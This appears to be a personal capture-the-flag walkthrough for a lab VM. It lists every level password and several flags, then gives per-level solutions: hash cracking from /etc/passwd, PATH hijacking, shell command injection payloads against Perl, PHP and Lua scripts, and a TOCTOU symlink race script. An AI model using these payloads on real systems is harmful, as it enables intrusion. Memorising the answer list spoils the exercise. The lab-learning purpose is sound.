level01 x24ti5gi3x0ol2eh4esiuxias
level02 f2av5il02puano7naaf6adaaf
level03 kooda2puivaav1idi4f57q8iq
level04 qi0maab88jeaj46qoumi7maus
level05 ne2searoevaevoem4ov4ar8ap
level06 viuaaale9huek52boumoomioc
level07 wiok45aaoguiboiki2tuin6ub
level08 fiumuikeil55xe9cu4dood66h
level09 25749xKZ8L7DkSCwJkT9dyv6f
level10 s5cAJpM8ev6XHw998pRWG728z
level11 feulo4b72j7edeahuete3no7c
level12 fa6v5ateaw21peobuub8ipe6s
level13 g1qKMiRpXf53AWhDaU7FEkczr
flag00 nottoohardhere
flag01 abcdefg
flag02 ft_waNDReL0L
flag08 quif5eloekouj29ke0vouxean
flag09 f3iji1ju5yuevaus41q1afiuq
flag10 woupa2yuojeeaaed06riuj63c
Level 00 - 01 - 02 - 03 - 04 - 05 - 06 - 07 - 08 - 09 - 10 - 11 - 12
Subject PDF
tags: sed..cut
or awk
> ssh -p 4242 level00@$(ifconfig|grep 'inet '|sed -n '2p'|cut -d' ' -f2)
^^^ ^^^
> ssh -p 4242 level00@$(ifconfig|grep 'inet '|awk 'NR==2{print $2}')
^^^
We have a cipher
> cat /etc/passwd π flag0x
> find / -user flag00 2>/dev/null -exec cat {} \;
OR
> find / -user flag00 2>/dev/null -exec cat {} +
cdiiddwpgswtgt
cdiiddwpgswtgt
Decipher
a = ord('a')
for i in range(26): print(''.join(chr(a+(ord(c)+i)%26) for c in s))
> su flag00 *( )*
> getflag | awk '{print $NF}'
tags: encryption
/etc/passwd
john
Login
> ssh level01@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: x24ti5gi3x0ol2eh4esiuxias
Look at /etc/passwd
> grep -i flag01 /etc/passwd
flag01:42hDRfypTqqnw:3001:3001::/home/flag/flag01:/bin/bash
> grep flag01 /etc/passwd | awk -F: '{print $2}'
42hDRfypTqqnw
Decode w. john
- macos
if [[ ! -f "john-1.8.0.9-jumbo-macosx_sse4.zip" ]]; then
wget https://download.openwall.net/pub/projects/john/contrib/macosx/john-1.8.0.9-jumbo-macosx_sse4.zip
tar -xvf john-1.8.0.9-jumbo-macosx_sse4.zip
fi
cd john-1.8.0.9-jumbo-macosx_sse4/run
#echo "42hDRfypTqqnw" > infile
scp -P 4242 level01@$(ifconfig|grep 'inet '|awk 'NR==1 {first=$0} END {print $2}'):/etc/passwd $(pwd)/infile
cat infile | grep flag01 | awk -F: '{print $2}'
sed -i '' '/flag01/!d' infile
./john --format=descrypt-opencl --show infile
cd ../..
- linux
if ! [ -d "john" ]; then
git clone https://github.com/openwall/john.git
cd john/src && ./configure && make
cd ../..
fi
cd john/run
scp -P 4242 level01@$(ifconfig|grep 'inet '|awk 'NR==1 {first=$0} END {print $2}'):/etc/passwd $(pwd)/infile
cat infile | grep flag01 | awk -F: '{print $2}'
sed -i '' '/flag01/!d' infile
./john --format=descrypt-opencl --show infile
cd ../..
# rm -rf john*
> ./do_john.sh
> su flag01 ***
> getflag | awk '{print $NF}'
Why use john
./john --show
provides this line in the output
[DES 128/128 SSE2-16]
- Data Encryption Standard (DES)
- DES is not truly encryption in the sense of encryption algorithms
- it is an old one-way transformation used to store passwds
- it is insecure due to small key size
- using john to bruteforce-crack it is the most effecive way
Login
> ssh level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: f2av5il02puano7naaf6adaaf
scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2{print $2}'):/home/user/level02/level02.pcap $(pwd)
hexdump -C level02.pcap | grep -i pass
xxd level02.pcap | grep -i pass
Found a .pcap
file
### VM
> ls -l
----r--r-- 1 flag02 level02 level02.pcap
^ which means a regular file
> scp -P 4242 level02@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'):/home/user/level02/level02.pcap $(pwd)
-
~.pcap
- Packet Capture- is used to store network packet data captured during network traffic monitoring
-
Save the
.pcap
to Hostscp
- secure copy -scp username@ip:path _local_
-
β Use Wireshark
- we do Analyze - Follow - TCP Stream
- copy
TCP Stream
to text
000000D6 00 0d 0a 50 61 73 73 77 6f 72 64 3a 20 ...Passw ord:
000000B9 66 f
000000BA 74 t
000000BB 5f _
000000BC 77 w
000000BD 61 a
000000BE 6e n
000000BF 64 d
000000C0 72 r
000000C1 7f .
000000C2 7f .
000000C3 7f .
000000C4 4e N
000000C5 44 D
000000C6 52 R
000000C7 65 e
000000C8 6c l
000000C9 7f .
000000CA 4c L
000000CB 30 0
000000CC 4c L
000000CD 0d .
7f
- DE0d
- CR- do the p3
Login
> ssh level03@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: kooda2puivaav1idi4f57q8iq
> ltrace ./level03
getegid() = 2003
geteuid() = 2003
setresgid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2003, 2003, 2003, 0xb7e5ee55, 0xb7fed280) = 0
system("/usr/bin/env echo Exploit me" ...
echo "$(which getflag)" > /tmp/echo
chmod +x /tmp/echo
export PATH=/tmp:$PATH
./level03
Login
> ssh level04@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: qi0maab88jeaj46qoumi7maus
See more
#!/usr/bin/perl
# localhost:4747
use CGI qw{param};
# CGI (Common Gateway Interface)
# param: a CGI module func fetches params from HTTP requests
# qw: quote words
print "Content-type: text/html\n\n";
sub x {
$y = $_[0];
print `echo $y 2>&1`;
# sub -- define subroutine x
# $_[0] -- subroutine `x()` takes a single arg`
# print w/ backticks invokes a shell command
# 2>&1 -- combine stdout and stderr, & means 1 is a fd not a filename
}
x(param("x"));
# 1st `x` : calling the subroutine
# 2nd `x` : a query param
# x comes in form of "...?x=getflag"
# test
> curl -I localhost:4747
or
> nc -vz localhost 4747
^ v: verbose
z: scan if a port is open (a listening daemon)
Connection to localhost 4747 port [tcp/*] succeeded!
# solve
curl localhost:4747?x="\`$(which getflag)\`"
curl localhost:4747?x="\`$(whereis getflag | awk '{print $2}')\`"
curl --get --data-urlencode 'x=;getflag' localhost:4747
Login
> ssh level05@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: ne2searoevaevoem4ov4ar8ap
cat /var/mail/level05
*/2 * * * * su -c "sh /usr/sbin/openarenaserver" - flag05
> ls -l /usr/sbin/openarenaserver
-rwxr-x---+ 1 flag05 flag05 /usr/sbin/openarenaserver
^^^^^^ ^^^^^^ resource excl. to user flag05
#!/bin/sh
for i in /opt/openarenaserver/* ; do
(ulimit -t 5; bash -x "$i")
rm -f "$i"
done
echo '/bin/getflag > /tmp/temp' > /opt/openarenaserver/go
echo '${which getflag} > /tmp/temp' > /opt/openarenaserver/go
Login
> ssh level06@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: viuaaale9huek52boumoomioc
> ls -l
-rwxr-x--- 1 flag06 level06 356 level06.php
-rwsr-x---+ 1 flag06 level06 7503 level06
^ rws β owner = r|w|x+s permissions
See mode
PHP
#!/usr/bin/php
<?php
function y($m) {
$m = preg_replace("/\./", " x ", $m);
$m = preg_replace("/@/", " y", $m);
return $m;
}
function x($y, $z) {
$a = file_get_contents($y); π 1/ $y ie. $argv[1] should be a file
$a = preg_replace("/(\[x (.*)\])/e", "y(\"\\2\")", $a); π 2/ (.*) get called and the output goes to f()
$a = preg_replace("/\[/", "(", $a);
$a = preg_replace("/\]/", ")", $a); π both lines trivial
return $a;
}
$r = x($argv[1], $argv[2]);
print $r;
?>
$a
should have this form [x (.*)]
Either one of
echo '[x ${`getflag`}]' > /tmp/tmp
echo '[x ${(exec(getflag))}]' > /tmp/tmp
echo '[x {${system(getflag)}}]' > /tmp/tmp
THEN
./level06 /tmp/tmp
Login
> ssh level07@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: wiok45aaoguiboiki2tuin6ub
> ls -l
-rwsr-sr-x 1 flag07 level07 8805 level07
See more
Command list
> file level07
> strings level07
> xxd level07 | grep level
> xxd level07 | grep -A3 -B3 level
> readelf -s ./level07 | grep -E 'getenv|system|exec|echo|puts|write|printf'
regex ^^
> objdump -d level07 | grep -E "getenv|system|exec|echo|puts|write|printf"
> ltrace ./level07 π’
> readelf -p .rodata ./level07 π’
Using readelf -p .rodata
and ltrace
-p
:printable-string-dump
displays contents of a section.rodata
:read-only data
section = what we want to see
String dump of section '.rodata':
[ 8] LOGNAME
^^^^^^^
[ 10] /bin/echo %s
> ltrace ./level07
__libc_start_main(0x8048514, 1, 0xbffff7f4, 0x80485b0, 0x8048620 <unfinished ...>
getegid() = 2007
geteuid() = 2007
setresgid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
setresuid(2007, 2007, 2007, 0xb7e5ee55, 0xb7fed280) = 0
getenv("LOGNAME") = "level07"
^^^^^^^
asprintf(0xbffff744, 0x8048688, 0xbfffff4b, 0xb7e5ee55, 0xb7fed280) = 18
system("/bin/echo level07 "level07
<unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> ) = 0
+++ exited (status 0) +++
Solution
Either one of
export LOGNAME='$(getflag)'
export LOGNAME=";getflag"
export LOGNAME='`getflag`'
Then
./level07
Login
> ssh level08@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fiumuikeil55xe9cu4dood66h
Tryout
> ltrace ./level08 /tmp/tmp
__libc_start_main(0x8048554, 2, 0xbffff7d4, 0x80486b0, 0x8048720 <unfinished ...>
strstr("/tmp/tmp", "token") = NULL
open("/tmp/tmp", 0, 014435162522) = 3
read(3, "a\n", 1024) = 2
write(1, "a\n", 2a
) = 2
+++ exited (status 2) +++
Solution
> ln -s `realpath token` /tmp/totem
> ./level08 /tmp/totem
Login
> ssh level09@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: 25749xKZ8L7DkSCwJkT9dyv6f
Solution
# scp to Host
scp -P 4242 level09@$(ifconfig|grep 'inet '|awk 'NR==1{first=$0}END{print $2}'):/home/user/level09/token $(pwd)
chmod 777 token
p3 decode.py < token
Login
> ssh level10@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z
See more
> ltrace ./level10 token localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("token", 4) = -1
^^^^^^ π‘
printf("You don't have access to %s\n", "token"You don't have access to token
) = 31
+++ exited (status 31) +++
- Touch a file of our own, try again
> ./level10 /tmp/tmp localhost
Connecting to localhost:6969 .. Unable to connect to host localhost
> ltrace ./level10 /tmp/tmp localhost
__libc_start_main(0x80486d4, 3, 0xbffff7d4, 0x8048970, 0x80489e0 <unfinished ...>
access("/tmp/tmp", 4) = 0
printf("Connecting to %s:6969 .. ", "localhost") = 32
^^^^ π‘
fflush(0xb7fd1a20Connecting to localhost:6969 .. ) = 0
^^^^ π‘
> ./level10 /tmp/tmp $(ifconfig | grep 'inet ' | awk 'NR==2 {print $2}' | cut -d ":" -f2)
Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
# t1
> nc -kl 6969
# t2
> touch /tmp/tmp
> ./level10 /tmp/tmp Localhost
> Connecting to Localhost:6969 .. Connected!
Sending file .. wrote file!
> ltrace ./level10 /tmp/tmp $(ifconfig|grep 'inet '|awk 'NR==2 {print $2}'|cut -d ":" -f2)
.
.
.
printf("Connected!\nSending file .. "Connected!
) = 27
fflush(0xb7fd1a20Sending file .. ) = 0
open("/tmp/tmp", 0, 010) = 4
^^^^^^^^ π‘ here is where our `token` should be read
read(4, "", 4096) = 0
write(3, "", 0) = 0
puts("wrote file!"wrote file!
) = 12
+++ exited (status 12) +++
Goal
- Figure out a way to force
./level10
to read the truetoken
:- exploit
access()
's TOCTOU vulnerability
- exploit
- How: let's create a racing condition
- Design a file to do the following:
- force
access()
to check a low-priority file - then,
open()
andread()
deal w/ the hi-priority one
- force
Solution:
- we need a file that alternates its own type
- type 1: a symlink to
token
- type 2: a regular file of our own
- type 1: a symlink to
- write a script to do this π
alternate.sh
rm -rf /tmp/tmp
t=/tmp/tmp
while true; do
touch $t
rm -rf $t
ln -s /home/user/level10/token $t
rm -rf $t
done
runner.sh
IP=$(ifconfig | grep 'inet ' | awk 'NR==1 {print $2}' | cut -d ":" -f2)
while true; do
#/home/user/level10/level10 /tmp/tmp ${IP} >/dev/null
/home/user/level10/level10 /tmp/tmp $(hostname -I | awk '{print $1}') >/dev/null
done
> chmod 777 /tmp/alt.sh /tmp/run.sh
> bash /tmp/alt.sh 2>/dev/null & bash /tmp/run.sh 2>/dev/null & \
nc -kl 6969 | grep -E '[a-z0-9]'
OR
nc -kl 6969 | grep -v '[][()]'
> kill $(jobs -p)
Login
> ssh level11@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: s5cAJpM8ev6XHw998pRWG728z
> ls -l
-rwsr-sr-x 1 flag11 level11 668 level11.lua
See more
#!/usr/bin/env lua
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 5151))
π‘ a TCP server listening ^^^^
for conn on localhost:5151
function hash(pass)
^^^^ π‘ a function converts `pass` to sha-1 hash
prog = io.popen("echo "..pass.." | sha1sum", "r")
^^^^^ π‘ do `echo <pass> | sha1sum` and read stdout
π΅ this is prone to command injection because
`"echo " .. pass ..` concat unsanitized inputs
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
while 1 do
local client = server:accept()
client:send("Password: ")
^^^^^^^^^ π΅ we will inject a payload here
client:settimeout(60)
local l, err = client:receive()
if not err then
print("trying " .. l)
local h = hash(l)
if h ~= "f05d1d066fb246efe0c6f7d095f909a7a0cf34a0" then
client:send("Erf nope..\n");
else
client:send("Gz you dumb*\n")
end
end
client:close()
Solution
> nc localhost 5151
OR
> telnet localhost 5151
---
Password: ;getflag | wall
Login
> ssh level12@$(ifconfig|grep 'inet '|awk 'NR==2 {print $2}') -p 4242
> Password: fa6v5ateaw21peobuub8ipe6s
> ls -l level12.pl
-rwsr-sr-x+ 1 flag12 level12 464 level12.pl
See more
> cat level12.pl
#!/usr/bin/env perl
# localhost:4646
use CGI qw{param};
print "Content-type: text/html\n\n";
sub t {
$nn = $_[1];
$xx = $_[0]; π
$xx =~ tr/a-z/A-Z/; π
$xx =~ s/\s.*//;
@output = `egrep "^$xx" /tmp/xd 2>&1`;
π backticks in Perl will run the Bash cmd
π if xx is also in backticks it also gets expanded/exec
foreach $line (@output) {
($f, $s) = split(/:/, $line);
if($s =~ $nn) {
π nn is empty bc. arg 1 is empty so ($s =~ "") is always true
return 1;
}
}
return 0;
}
sub n {
if($_[0] == 1) {
print("..");
} else {
print(".");
}
}
n(t(param("x"), param("y"))); π query's key: x, y
input (x)
is not sanitized before inserted in the cmd""
- PERL interpolates/evals variables inside double quotesegrep
- PERL runs this unsanitized cmd as part ofegrep
- since
/tmp/go
hasx
|777 getflag will be run
> echo "getflag | wall" > /tmp/GO
> chmod 777 /tmp/GO
> curl 'http://10.0.2.15:4646?x=`/*/GO`'
there you have it in tmp tmp